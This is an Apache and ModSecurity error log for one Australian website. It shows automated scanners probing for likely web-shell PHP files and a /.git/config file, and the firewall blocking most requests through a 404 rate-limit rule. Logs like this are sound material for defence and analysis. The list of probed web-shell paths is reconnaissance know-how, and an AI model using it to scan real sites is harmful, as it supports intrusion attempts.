[Sat Apr 11 02:44:21.836866 2026] [:error] [pid 55451:tid 55472] [client 4.245.205.135:53892] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xsas.php"] [unique_id "adlFBXApxuyB7yCS5RkxvwAAANM"]
[Sat Apr 11 02:44:23.542186 2026] [:error] [pid 21706:tid 21709] [client 4.245.205.135:61560] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xsas.php"] [unique_id "adlFByGQ1M5d8fQSsLHYOQAAAAE"]
[Sat Apr 11 02:44:24.265627 2026] [:error] [pid 21569:tid 21669] [client 4.245.205.135:57384] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp/jp.php"] [unique_id "adlFCHAvQTgvXJ6vHoqxTgAAAJI"]
[Sat Apr 11 02:44:25.139598 2026] [:error] [pid 55451:tid 55473] [client 4.245.205.135:62141] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp/jp.php"] [unique_id "adlFCXApxuyB7yCS5RkxzAAAANQ"]
[Sat Apr 11 02:44:25.732031 2026] [:error] [pid 55451:tid 55467] [client 4.245.205.135:43482] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp/jp.php"] [unique_id "adlFCXApxuyB7yCS5Rkx1QAAAM4"]
[Sat Apr 11 02:44:26.298549 2026] [:error] [pid 21570:tid 21681] [client 4.245.205.135:37277] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp/jp.php"] [unique_id "adlFCjKs5t9xRSNL6cngRQAAAEo"]
[Sat Apr 11 02:44:27.068977 2026] [:error] [pid 21568:tid 21590] [client 4.245.205.135:43481] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8573.php"] [unique_id "adlFC4iz5v_ljZxkpR_nqwAAARI"]
[Sat Apr 11 02:44:27.727594 2026] [:error] [pid 21570:tid 21698] [client 4.245.205.135:62119] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8573.php"] [unique_id "adlFCzKs5t9xRSNL6cngUgAAAFg"]
[Sat Apr 11 02:44:29.919635 2026] [:error] [pid 21569:tid 21650] [client 4.245.205.135:53891] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8573.php"] [unique_id "adlFDXAvQTgvXJ6vHoqxUgAAAIU"]
[Sat Apr 11 02:44:30.690039 2026] [:error] [pid 21568:tid 21588] [client 4.245.205.135:53928] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8573.php"] [unique_id "adlFDoiz5v_ljZxkpR_ntwAAARA"]
[Sat Apr 11 02:44:31.223303 2026] [:error] [pid 21569:tid 21671] [client 4.245.205.135:37284] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp5.php"] [unique_id "adlFD3AvQTgvXJ6vHoqxVwAAAJM"]
[Sat Apr 11 02:44:33.013203 2026] [:error] [pid 21706:tid 21718] [client 4.245.205.135:65234] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp5.php"] [unique_id "adlFESGQ1M5d8fQSsLHYTgAAAAo"]
[Sat Apr 11 02:44:35.463635 2026] [:error] [pid 21568:tid 21581] [client 4.245.205.135:61542] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp5.php"] [unique_id "adlFE4iz5v_ljZxkpR_nxgAAAQk"]
[Sat Apr 11 02:44:36.368923 2026] [:error] [pid 55451:tid 55455] [client 4.245.205.135:62090] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp5.php"] [unique_id "adlFFHApxuyB7yCS5Rkx6gAAAMI"]
[Sat Apr 11 02:44:37.225879 2026] [:error] [pid 21568:tid 21580] [client 4.245.205.135:46358] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp9.php"] [unique_id "adlFFYiz5v_ljZxkpR_nzwAAAQg"]
[Sat Apr 11 02:44:38.261546 2026] [:error] [pid 21706:tid 21709] [client 4.245.205.135:62134] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp9.php"] [unique_id "adlFFiGQ1M5d8fQSsLHYWgAAAAE"]
[Sat Apr 11 02:44:39.222730 2026] [:error] [pid 21570:tid 21670] [client 4.245.205.135:36011] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp9.php"] [unique_id "adlFFzKs5t9xRSNL6cnglAAAAEQ"]
[Sat Apr 11 02:44:40.097170 2026] [:error] [pid 21706:tid 21732] [client 4.245.205.135:47015] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp9.php"] [unique_id "adlFGCGQ1M5d8fQSsLHYZAAAABg"]
[Sat Apr 11 02:44:41.382671 2026] [:error] [pid 21569:tid 21683] [client 4.245.205.135:62123] File does not exist: /usr/local/apache/htdocs/suspended-page/ws88.php
[Sat Apr 11 02:44:41.655766 2026] [:error] [pid 21569:tid 21653] [client 4.245.205.135:62123] File does not exist: /usr/local/apache/htdocs/suspended-page/motu.php
[Sat Apr 11 02:44:41.936881 2026] [:error] [pid 21569:tid 21655] [client 4.245.205.135:62123] File does not exist: /usr/local/apache/htdocs/suspended-page/ibcqocdtu3eovdx2hwj7Cdefault.php
[Sat Apr 11 03:28:15.382132 2026] [:error] [pid 21706:tid 21722] [client 164.68.120.90:60930] [client 164.68.120.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/careers/"] [unique_id "adlPTyGQ1M5d8fQSsLEKBAAAAA4"]
[Sat Apr 11 03:28:28.561317 2026] [:error] [pid 21568:tid 21593] [client 164.68.120.90:45326] [client 164.68.120.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/career"] [unique_id "adlPXIiz5v_ljZxkpR8BmgAAARU"]
[Sat Apr 11 03:28:42.193811 2026] [:error] [pid 55451:tid 55468] [client 164.68.120.90:53322] [client 164.68.120.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/career/"] [unique_id "adlPanApxuyB7yCS5RlT0AAAAM8"]
[Sat Apr 11 03:28:55.185982 2026] [:error] [pid 21569:tid 21645] [client 164.68.120.90:55344] [client 164.68.120.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jobs"] [unique_id "adlPd3AvQTgvXJ6vHorDzwAAAIA"]
[Sat Apr 11 03:29:22.955811 2026] [:error] [pid 21568:tid 21583] [client 159.65.167.144:36646] [client 159.65.167.144] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "adlPkoiz5v_ljZxkpR8CEwAAAQs"]
[Sat Apr 11 03:29:30.643696 2026] [:error] [pid 21706:tid 21711] [client 164.68.120.90:47400] [client 164.68.120.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/join-us"] [unique_id "adlPmiGQ1M5d8fQSsLELcwAAAAM"]
[Sat Apr 11 03:29:48.161340 2026] [:error] [pid 21706:tid 21725] [client 164.68.120.90:43340] [client 164.68.120.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/join-us/"] [unique_id "adlPrCGQ1M5d8fQSsLELqgAAABE"]
[Sat Apr 11 03:30:06.267975 2026] [:error] [pid 55451:tid 55474] [client 164.68.120.90:48460] [client 164.68.120.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/work-with-us"] [unique_id "adlPvnApxuyB7yCS5RlUsgAAANU"]
[Sat Apr 11 03:30:24.681300 2026] [:error] [pid 21706:tid 21721] [client 164.68.120.90:38244] [client 164.68.120.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/work-with-us/"] [unique_id "adlP0CGQ1M5d8fQSsLEMJwAAAA0"]
[Sat Apr 11 03:31:32.703562 2026] [:error] [pid 21706:tid 21725] [client 164.68.120.90:45892] [client 164.68.120.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/current-vacancies"] [unique_id "adlQFCGQ1M5d8fQSsLENQgAAABE"]
[Sat Apr 11 03:31:47.985117 2026] [:error] [pid 55451:tid 55473] [client 164.68.120.90:56910] [client 164.68.120.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/current-vacancies/"] [unique_id "adlQI3ApxuyB7yCS5RlV4QAAANQ"]
[Sat Apr 11 03:32:25.853198 2026] [:error] [pid 21568:tid 21580] [client 164.68.120.90:36596] [client 164.68.120.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "adlQSYiz5v_ljZxkpR8DbQAAAQg"]
[Sat Apr 11 03:32:43.209052 2026] [:error] [pid 21569:tid 21683] [client 164.68.120.90:49252] [client 164.68.120.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/about"] [unique_id "adlQW3AvQTgvXJ6vHorFaQAAAJg"]
[Sat Apr 11 03:32:56.535608 2026] [:error] [pid 21706:tid 21728] [client 164.68.120.90:33944] [client 164.68.120.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/about-us"] [unique_id "adlQaCGQ1M5d8fQSsLEOYgAAABQ"]
[Sat Apr 11 03:33:14.366964 2026] [:error] [pid 21569:tid 21655] [client 164.68.120.90:47900] [client 164.68.120.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/contact"] [unique_id "adlQenAvQTgvXJ6vHorFjwAAAIo"]
[Sat Apr 11 03:34:17.168600 2026] [:error] [pid 55451:tid 55462] [client 164.68.120.90:56528] [client 164.68.120.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/legal"] [unique_id "adlQuXApxuyB7yCS5RlXsQAAAMk"]
[Sat Apr 11 05:07:05.343819 2026] [:error] [pid 33171:tid 33201] [client 74.248.128.78:20348] File does not exist: /usr/local/apache/htdocs/suspended-page/classwithtostring.php
[Sat Apr 11 06:57:24.969624 2026] [:error] [pid 15244:tid 15269] [client 20.111.36.240:13763] File does not exist: /usr/local/apache/htdocs/suspended-page/classwithtostring.php
[Sat Apr 11 06:57:25.204217 2026] [:error] [pid 15244:tid 15268] [client 20.111.36.240:13763] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-demomav.php
[Sat Apr 11 06:57:25.437324 2026] [:error] [pid 15244:tid 15251] [client 20.111.36.240:13763] File does not exist: /usr/local/apache/htdocs/suspended-page/itil.php
[Sat Apr 11 06:57:25.667593 2026] [:error] [pid 15244:tid 15254] [client 20.111.36.240:13763] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/w.php"] [unique_id "admAVYkdEsz5NeAq8w1aSwAAAQg"]
[Sat Apr 11 06:57:26.131327 2026] [:error] [pid 15244:tid 15249] [client 20.111.36.240:2201] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/w.php"] [unique_id "admAVokdEsz5NeAq8w1aTwAAAQM"]
[Sat Apr 11 06:57:26.599587 2026] [:error] [pid 33288:tid 33297] [client 20.111.36.240:2207] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/w.php"] [unique_id "admAVmJmwJFFPEgRHfFvlQAAAMc"]
[Sat Apr 11 07:59:09.192459 2026] [:error] [pid 33288:tid 33309] [client 158.158.33.175:52309] File does not exist: /usr/local/apache/htdocs/suspended-page/ccs.php
[Sat Apr 11 07:59:09.433528 2026] [:error] [pid 33288:tid 33299] [client 158.158.33.175:52309] File does not exist: /usr/local/apache/htdocs/suspended-page/grsiuk.php
[Sat Apr 11 07:59:09.736228 2026] [:error] [pid 33288:tid 33310] [client 158.158.33.175:52309] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-act.php
[Sat Apr 11 07:59:10.017510 2026] [:error] [pid 33288:tid 33300] [client 158.158.33.175:52309] File does not exist: /usr/local/apache/htdocs/suspended-page/cu.php
[Sat Apr 11 07:59:10.263558 2026] [:error] [pid 33288:tid 33290] [client 158.158.33.175:52309] File does not exist: /usr/local/apache/htdocs/suspended-page/8.php
[Sat Apr 11 07:59:10.505937 2026] [:error] [pid 33288:tid 33305] [client 158.158.33.175:52309] File does not exist: /usr/local/apache/htdocs/suspended-page/ws60.php
[Sat Apr 11 07:59:10.746328 2026] [:error] [pid 33288:tid 33313] [client 158.158.33.175:52309] File does not exist: /usr/local/apache/htdocs/suspended-page/vanda.php
[Sat Apr 11 07:59:10.986979 2026] [:error] [pid 33288:tid 33303] [client 158.158.33.175:52309] File does not exist: /usr/local/apache/htdocs/suspended-page/domains.php
[Sat Apr 11 07:59:11.226665 2026] [:error] [pid 33288:tid 33314] [client 158.158.33.175:52309] File does not exist: /usr/local/apache/htdocs/suspended-page/144.php
[Sat Apr 11 07:59:11.516435 2026] [:error] [pid 33288:tid 33293] [client 158.158.33.175:52309] File does not exist: /usr/local/apache/htdocs/suspended-page/asd.php
[Sat Apr 11 07:59:11.756839 2026] [:error] [pid 33288:tid 33299] [client 158.158.33.175:52309] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zc-104.php"] [unique_id "admOz2JmwJFFPEgRHfGiEwAAAMk"]
[Sat Apr 11 07:59:12.543767 2026] [:error] [pid 33173:tid 33266] [client 158.158.33.175:59199] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zc-104.php"] [unique_id "admO0K8109xRDP2izWgjbAAAAJU"]
[Sat Apr 11 07:59:13.073035 2026] [:error] [pid 33171:tid 33195] [client 158.158.33.175:54907] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zc-104.php"] [unique_id "admO0boqTMlo30hcVw-WKQAAAAk"]
[Sat Apr 11 07:59:13.812186 2026] [:error] [pid 33171:tid 33194] [client 158.158.33.175:54850] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zc-104.php"] [unique_id "admO0boqTMlo30hcVw-WLQAAAAg"]
[Sat Apr 11 07:59:14.325191 2026] [:error] [pid 15244:tid 15263] [client 158.158.33.175:59150] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rzki.php"] [unique_id "admO0okdEsz5NeAq8w2eOwAAARE"]
[Sat Apr 11 07:59:14.821422 2026] [:error] [pid 33288:tid 33308] [client 158.158.33.175:59172] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rzki.php"] [unique_id "admO0mJmwJFFPEgRHfGiFwAAANI"]
[Sat Apr 11 07:59:15.339125 2026] [:error] [pid 33288:tid 33311] [client 158.158.33.175:62361] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rzki.php"] [unique_id "admO02JmwJFFPEgRHfGiGQAAANU"]
[Sat Apr 11 07:59:15.910722 2026] [:error] [pid 33288:tid 33314] [client 158.158.33.175:8266] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rzki.php"] [unique_id "admO02JmwJFFPEgRHfGiHwAAANg"]
[Sat Apr 11 07:59:16.394558 2026] [:error] [pid 33172:tid 33221] [client 158.158.33.175:8272] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xsas.php"] [unique_id "admO1Dn2G0IJw5EZY9l4YwAAAEM"]
[Sat Apr 11 07:59:16.988090 2026] [:error] [pid 15244:tid 15256] [client 158.158.33.175:62412] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xsas.php"] [unique_id "admO1IkdEsz5NeAq8w2eQQAAAQo"]
[Sat Apr 11 07:59:17.477608 2026] [:error] [pid 33173:tid 33258] [client 158.158.33.175:10334] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xsas.php"] [unique_id "admO1a8109xRDP2izWgjgwAAAI0"]
[Sat Apr 11 07:59:17.972833 2026] [:error] [pid 33173:tid 33246] [client 158.158.33.175:10327] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xsas.php"] [unique_id "admO1a8109xRDP2izWgjjQAAAIE"]
[Sat Apr 11 07:59:18.452617 2026] [:error] [pid 33172:tid 33240] [client 158.158.33.175:14052] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/d12.php"] [unique_id "admO1jn2G0IJw5EZY9l4aQAAAFY"]
